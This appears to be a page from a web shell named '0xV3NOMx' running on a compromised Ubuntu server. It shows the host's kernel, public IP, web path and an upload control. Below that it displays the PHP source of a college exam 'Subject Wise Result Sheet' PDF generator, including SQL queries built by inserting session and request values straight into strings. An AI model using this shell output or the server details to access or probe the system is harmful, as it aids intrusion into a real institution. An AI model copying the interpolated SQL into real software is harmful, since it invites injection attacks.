0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.144.28.90


Current Path : /var/www/oasis/Report_details/
Upload File :
Current File : /var/www/oasis/Report_details/subjwiseressheet.php

<?php
$main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7);
$pdf_writer_class =$main_src."/tarka_pdf_latest/fpdf.php";
require_once($pdf_writer_class);
ini_set('max_execution_time', 0);
require_once 'headerNfooter.php';

class GenerateFeeSummaryReport  extends FPDF
{
	
	function DefaultConstructor($aobj_context)
	{
		include_once($aobj_context->main_src."/src/format.php");
		$this->aobj_context=$aobj_context;
		$this->pdf=  new FPDF();
		$this->pdf=$this;
		session_start();
		$this->collcode = $_SESSION['collcode'];
		$this->ip=$_SERVER["REMOTE_ADDR"];
		
		$this->db=trim($this->aobj_context->mobj_data["db"]);

		$this->degree = $aobj_context->mobj_data["degree"]; 
		$this->degexam = $aobj_context->mobj_data["degexam"];
        $this->yearmode = $aobj_context->mobj_data["yearmode"];
		$yearmode = explode("*",$this->yearmode);
		$this->year = $yearmode[0];
		$this->examtye = $yearmode[1];
		
        $get_date= "select NOW() as now_date,
		CONCAT('[',fcollcode,'] ', fcollname,', ',FTOWN) as college_name,
		dg.fexamdate as fresexamdate, d.fdescpn, d.fexamname from college c, degree d, degexam dg 
		where fcollcode = '{$this->collcode}' and d.fdegree = '{$this->degree}'
		and d.fdegree = dg.fdegree and d.fexamno = dg.fexamno 
		and d.fexamno = '{$this->degexam}'
		and dg.fyear = '{$this->year}'
		and dg.fexamtype = '{$this->examtye}'";
        // var_dump($get_date);
		// die();
		$obj=$aobj_context->mobj_db->GetRow($get_date);
		
		$this->current_date = $obj['now_date'];
		$this->college_name = $obj['college_name'];
		$this->fresexamdate = $obj['fresexamdate'];
		$this->fdescpn      = $obj['fdescpn'];
		$this->fexamname    = $obj['fexamname'];
		$this->first    = true;
	}
	 
	function Header()
	{
		$pageOrientation = $this->CurOrientation;
		$headerName="SUBJECT WISE RESULT SHEET";
		$reporttype="swrs";
		generateHeader($this->db, 
			$this->pdf, 
			$pageOrientation,
			$this->funivcode,
			$headerName,
			$this->college_name,
			$this->fresexamdate,
			$this->fdescpn,
			$this->fexamname,
			$this->pdf_logo_path,
			$this->aobj_context,
			$reporttype,
			$this->degree,
			$this->degexam,
			$this->yearmode,
			$this->section);
		// if($this->degexam == "A"){
		// 	$deg = "I";
		// }elseif($this->degexam == "B"){
		// 	$deg = "II";
		// }elseif($this->degexam == "C"){
		// 	$deg = "III";
		// }elseif($this->degexam == "D"){
		// 	$deg = "IV";
		// }elseif($this->degexam == "E"){
		// 	$deg = "V";
		// }elseif($this->degexam == "F"){
		// 	$deg = "VI";
		// }elseif($this->degexam == "G"){
		// 	$deg = "VII";
		// }elseif($this->degexam == "H"){
		// 	$deg = "VIII";
		// }
		// $img_path=$this->aobj_context->main_src."/".$this->aobj_context->mobj_data["db"]."/".$this->pdf_logo_path;
	 
		// if($this->funivcode == '055'){
			
		// 	generateHeader($this->db, $this->pdf, $pageOrientation);
			
		// }
		// elseif(!empty($this->pdf_logo_path) && file_exists($img_path)) 
		// {			
		// 	$this->pdf->Image($img_path,10,10,40);
		// }
		// if($this->funivcode!=="055"){

		// if($this->funivcode=="052"){
		// 	$this->pdf->SetFont('Times','B',9);
		// 	$this->pdf->cell(0,7,""."JSS MAHAVIDYAPEETHA","0",1,"C");
		// }else{
		// 	$this->pdf->cell(0,7,"","0",1,"C");

		// }
		// $this->pdf->SetFont('Times','B',14);
		// $this->pdf->cell(0,7,"".$this->FUNIVNAME,"0",1,"C");

		// $this->pdf->SetFont('Times','',8);
		// $this->pdf->cell(0,4, $this->s_state,"0",0,"C");
		
		// $this->pdf->SetFont('Times','',10);	
		// $this->pdf->Cell(-20,4,"Page {$this->pdf->PageNo()}/{nb}",0,1,'C');

		// $this->pdf->SetFont('Times','B',10);
		// $this->pdf->cell(0,7,"College: ".$this->college_name,"0",1,"C");
		// }
		// if($this->funivcode=="055"){
		// 	$this->SetY(35);
		// }
		// $this->pdf->SetFont('Times','B',10);

		// $this->pdf->cell(0,7,"SUBJECT WISE RESULT SHEET","0",1,"C");
		
		// $this->pdf->cell(0,7,$deg." -"." SEMESTER ".$this->degree." DEGREE ".$this->fresexamdate." EXAMINATION","0",1,"C");

		// $this->pdf->cell(0,7,$this->fexamname." ".$this->fdescpn." EXAMINATION - ".$this->fresexamdate,"0",1,"C");
		
		// $this->pdf->SetFont('Times','B',9);
		// $this->pdf->cell(0,7,""."JSS MAHAVIDYAPEETHA","0",1,"C");	
		// $this->pdf->SetFont('Times','B',14);
		// $this->pdf->cell(0,7,"".$this->FUNIVNAME,"0",1,"C");
		// $this->pdf->SetFont('Times','',8);
		// $this->pdf->cell(0,4, $this->s_state,"0",0,"C");
		// $this->pdf->SetFont('Times','',10);	
		// $this->pdf->Cell(-20,4,"Page {$this->pdf->PageNo()}/{nb}",0,1,'C');
		// $this->pdf->SetFont('Times','B',10);
		// $this->pdf->cell(0,7,"College: ".$this->college_name,"0",1,"C");
		// $this->pdf->cell(0,7,"PROVISIONAL RESULT SHEET - ".$this->fresexamdate ." EXAMINATION ","0",1,"C");
		// $this->pdf->cell(0,7,$this->fexamname." - ".$this->fdescpn,"0",1,"C");
	}	

	function Footer()
	{
		$this->SetY(-15);
		$this->pdf->SetFont('Times','B',8);
		$new_y=$this->pdf->GetY();
		$this->pdf->Ln(2);
		$this->Cell(140,6,'Printed: IP Address : '.$this->ip." Date ".$this->current_date,'0',0,'L');
	}
	
	function formcolldata()
	{
		$get_coll_name="select FUNIVNAME as 'FUNIVNAME',funivcode,
		FUNIVADD1 as 'state', pdf_logo_path From control";
		$lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name);
		$this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME'];
		$this->funivcode=$lobj_get_coll_name['funivcode'];

		$this->s_state=$lobj_get_coll_name['state'];
		$this->f_year=$lobj_get_coll_name['f_year'];
		$this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path'];
	}

	function tableHeader()
	{
		if($this->funivcode=="051"){
			$this->pdf->Ln(7);}

		$this->pdf->SetFont('Times', 'B', 10);
        // $this->pdf->Cell(15, 7, "Sl.", "LRT", 0, "C");
        $this->pdf->Cell(20, 9, "Subject", "LRT", 0, "C");
        $this->pdf->Cell(25, 9, "No.of Students", "LRT", 0, "C");
        $this->pdf->Cell(108, 9, "No. of Students with", "1", 0, "C");
        $this->pdf->Cell(108, 9, "No. of Student Awarded(Counts/Percentage)", "1", 1, "C");
        // $this->pdf->Cell(54, 9, "Fail", "1", 1, "C");

        $this->pdf->SetFont('Times', 'B', 10);
        // $this->pdf->Cell(15, 9, " No.", "LRB", 0, "C");
        $this->pdf->Cell(20, 9, "Code", "LRB", 0, "C");
        $this->pdf->Cell(25, 9, "Registered", "LRB", 0, "C");
        $this->pdf->Cell(16, 9, "", "LRB", 0, "C");
        $this->pdf->Cell(16, 9, "", "LRB", 0, "C");
        $this->pdf->Cell(16, 9, "", "LRB", 0, "C");
        $this->pdf->Cell(16, 9, "", "LRB", 0, "C");
        $this->pdf->Cell(16, 9, "", "LRB", 0, "C");
        $this->pdf->Cell(28, 9, "Others(MP,I,TL)", "LRB", 0, "C");
        $this->pdf->Cell(18, 9, "", "LRB", 0, "C");
        $this->pdf->Cell(18, 9, "", "LRB", 0, "C");
		$this->pdf->Cell(18, 9, "", "LRB", 0, "C");
        $this->pdf->Cell(18, 9, "", "LRB", 0, "C");
		$this->pdf->Cell(18, 9, "", "LRB", 0, "C");
        $this->pdf->Cell(18, 9, "	", "LRB", 1, "C");

        $this->pdf->SetFont('Times', '', 10);
       
	}

	function formdata()
	{

		$lobj_fee_data = "select distinct r.fdegree as degree,d.fdescpn as descp, 
		concat(d.fdeggrp,' - ',d.fexamname, ' - ' ,d. fresexamdate) as examname, 
		concat(c.fcollcode,' - ',c.fcollname) as college, 
		sum(case when fgender='M' then 1 else 0 end) as Male1, 
		sum(case when fgender='F' then 1 else 0 end) as Female1, 
		count(s.fregno) as Totalcount, 
		sum(case when fclass <='fail' and fgender = 'M' then 1 else 0 end) as Male2, 
		sum(case when fclass <='fail'and fgender='F' then 1 else 0 end) as Female2, 
		sum(case when fclass <='fail' and fgender = 'M' then 1 else 0 end)+ 
		sum(case when fclass <='fail'and fgender='F' then 1 else 0 end) as 'pass_cnt',
		sum(case when fclass >'fail'and fgender = 'M' then 1 else 0 end) as Male3, 
		sum(case when fclass >'fail' and fgender='F' then 1 else 0 end) as Female3, 
		sum(case when fclass >'fail'and fgender = 'M' then 1 else 0 end)+ 
		sum(case when fclass >'fail' and fgender='F' then 1 else 0 end) as 'Fail_cnt' 
		from (select distinct fregno,fdegree,fclass,fexamno from resmarks where fexamno = '{$this->degexam}'
        and fyear = '{$this->year}'
        and fexamtype = '{$this->examtye}') as r
		inner join student s on r.fregno = s.fregno and r.fdegree = s.fdegree 
		inner join degree d on d.fdegree =r.fdegree and d.fexamno = r.fexamno
		inner join college c on s.fcollcode = c.fcollcode where ifnull(fgender,'')<>'' 
        and r.fdegree='{$this->degree}' 
		and s.fcollcode = '{$this->collcode}'  
        group by r.fdegree,r.fexamno";
		
		$lobj_get_fee_data = $this->aobj_context->mobj_db->GetAll($lobj_fee_data);		
		// var_dump($lobj_fee_data);
		// die();
		$pdf = $this->pdf;
        // $pdf->SetMargins(35, 50);
        // $pdf->startPageGroup();
        $pdf->AddPage("L");
		
        $pdf->SetFont('Times', '', 12);

        $oldCode = "";
        $newCode = "";
        $sl_no = 1;
        $a = 0;
        $b = 0;
        $c = 0;
        $d = 0;
        $e = 0;
        $f = 0;
        $g = 0;
        $i = 0;
        $j = 0;

        
        // var_dump($exattendancelist);
        $this->tableHeader($pdf);
        $pdf->SetFont('Times', '', 10);
        foreach ($lobj_get_fee_data as $key => $value) {
           
            // $newCode = $value['fdegree'];
          
            
            // if ($newCode != $oldCode) {
            //     $sl_no = 1;
            //      if($h!=0){
            //     $pdf->SetFont('Times', 'B', 12);
            //     $pdf->Cell(85, 6, "Grand Total", "LRB", 0, "C");
            //     $pdf->Cell(18, 6, ($a), "LRB", 0, "C");
            //     $pdf->Cell(18, 6, ($b), "LRB", 0, "C");
            //     $pdf->Cell(18, 6, ($c), "LRB", 0, "C");
            //     $pdf->Cell(18, 6, ($d), "LRB",0 , "C");
            //     $pdf->Cell(18, 6, ($e), "LRB", 0, "C");
            //     $pdf->Cell(18, 6, ($f), "LRB", 0, "C");
            //     $pdf->Cell(18, 6, ($g), "LRB", 0, "C");
            //     $pdf->Cell(18, 6, ($i), "LRB", 0, "C");
            //     $pdf->Cell(18, 6, ($j), "LRB",0 , "C");
            //     }
            //     $h++;
            // }
			// $h=6;
		
            // $pdf->SetFont('Times', '', 12);
            // $x = $pdf->GetX();
            // $y = $pdf->GetY();
            // $pdf->SetX($x + 35);
            // $pdf->MultiCell(70, $h, $value['descp'], 1, "L");
            // $y1 = $pdf->GetY();
            // $h = $y1 - $y;
            // $pdf->SetXY($x, $y);
            // $pdf->Cell(15, $h, $sl_no, "1", 0, "C");
            // $pdf->Cell(20, $h, $value['degree'], "1", 0, "C");
            // $pdf->SetXY($x + 105, $y);
            // $pdf->Cell(18, $h,  $value['Male1'], "1", 0, "C");
            // $pdf->Cell(18, $h,  $value['Female1'], "1", 0, "C");
            // $pdf->Cell(18, $h,  $value['Totalcount'], "1", 0, "C");
            // $pdf->Cell(18, $h,  $value['Male2'], "1", 0, "C");
            // $pdf->Cell(18, $h,  $value['Female2'], "1", 0, "C");
            // $pdf->Cell(18, $h,  $value['pass_cnt'], "1", 0, "C");
            // $pdf->Cell(18, $h, $value['Male3'], "1", 0, "C");
            // $pdf->Cell(18, $h,  $value['Female3'], "1", 0, "C");
            // $pdf->Cell(18, $h,  $value['Fail_cnt'], "1", 1, "C");
            // $a += $value['Male1'];
            // $b += $value['Female1'];
            // $c += $value['Totalcount'];
            // $d += $value['Male2'];
            // $e += $value['Female2'];
            // $f += $value['pass_cnt'];
            // $g += $value['Male3'];
            // $i += $value['Female3'];
            // $j += $value['Fail_cnt'];

            if ($pdf->getY() > 0) {
                      $pdf->AddPage("L");
                       $pdf->SetFont('Times', 'B', 12);
                      $pdf->cell(165, 8, $j.' '. $value['fdegree'] . ' - ' . $value['fexamname'], 1, 1, "C");
                      $this->tableHeader($pdf);
                      $pdf->SetFont('Times', '', 10);
            }

            $oldCode = $newCode;
            $sl_no++;
            
        }
        // $pdf->SetFont('Times', 'B', 12);
        // $pdf->Cell(105, 6, "Grand Total", "LRB", 0, "C");
        // $pdf->Cell(18, 6, ($a), "LRB", 0, "C");
        // $pdf->Cell(18, 6, ($b), "LRB", 0, "C");
        // $pdf->Cell(18, 6, ($c), "LRB", 0, "C");
        // $pdf->Cell(18, 6, ($d), "LRB", 0, "C");
        // $pdf->Cell(18, 6, ($e), "LRB", 0, "C");
        // $pdf->Cell(18, 6, ($f), "LRB", 0, "C");
        // $pdf->Cell(18, 6, ($g), "LRB", 0, "C");
        // $pdf->Cell(18, 6, ($i), "LRB", 0, "C");
        // $pdf->Cell(18, 6, ($j), "LRB", 0, "C");

	}

	function SendOutput()
	{
		$this->pdf->Output("Subject_wise_Result_Sheet.pdf","I");
	}
}

function subjwiseressheet($aobj_context)
{	

	// var_dump('hii');
	// die();
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$class_obj=new GenerateFeeSummaryReport();
	$class_obj->AliasNbPages();
	$class_obj->DefaultConstructor($aobj_context);

	$class_obj->Header();
    // var_dump('hii');
	// die();
	
	$class_obj->formcolldata();
	$class_obj->formdata();
	$class_obj->SetTitle('Subject Wise Result Sheet.pdf');
	$class_obj->SendOutput();
}
?>